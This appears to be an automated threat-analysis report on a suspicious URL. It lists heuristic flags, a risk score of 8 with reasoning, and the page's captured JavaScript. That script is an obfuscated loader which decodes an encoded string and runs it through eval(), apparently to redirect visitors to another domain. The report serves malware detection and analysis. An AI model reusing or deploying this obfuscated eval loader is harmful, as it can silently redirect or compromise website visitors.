Windows Analysis Report
https://jkqbjwq.maxiite.com

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://jkqbjwq.maxiite.com

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution through the use of `eval()` and obfuscated code. It also attempts to redirect the user to a domain other than 'google.com', which is a strong indicator of malicious intent. The script appears to be attempting to execute remote or dynamically generated code, which poses a significant security risk. Overall, this script demonstrates a high level of suspicious and potentially malicious activity."
}

 if (window.self!='google.com') {var _0xc16e=["","split","0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/","slice","indexOf","","",".","pow","reduce","reverse","0"];function _0xe77c(d,e,f){var g=_0xc16e[2][_0xc16e[1]](_0xc16e[0]);var h=g[_0xc16e[3]](0,e);var i=g[_0xc16e[3]](0,f);var j=d[_0xc16e[1]](_0xc16e[0])[_0xc16e[10]]()[_0xc16e[9]](function(a,b,c){if(h[_0xc16e[4]](b)!==-1)return a+=h[_0xc16e[4]](b)*(Math[_0xc16e[8]](e,c))},0);var k=_0xc16e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k||_0xc16e[11]}eval(function(h,u,n,t,e,r){r="";for(var i=0,len=h.length;i<len;i++){var s="";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],"g"),j);r+=String.fromCharCode(_0xe77c(s,e,10)-t)}return decodeURIComponent(escape(r))}("uuLsuKgsuLKsLVIsuLLsuuLsLLKsuKIsuLLsLVlsLVgsuLIsuKgsuLLsuLKsLLKsuLDsLVVsuLusuKIsLVgsLVlsLVVsLKusLKLsuKusuLIsuLIsuLusuLlsLuDsLLLsLLLsuuLsuuLsuuLsLLKsLVDsuKgsuLKsuKLsLLKsLVlsuLLsuKVsLLLsuLlsLVVsLVgsuLDsLVlsuKusLgLsuLgsLuVsuLLsuKKsuKKsuKgsLVlsLVVsLKLsLKgsLuls",84,"KLugDlIVs",26,8,5))}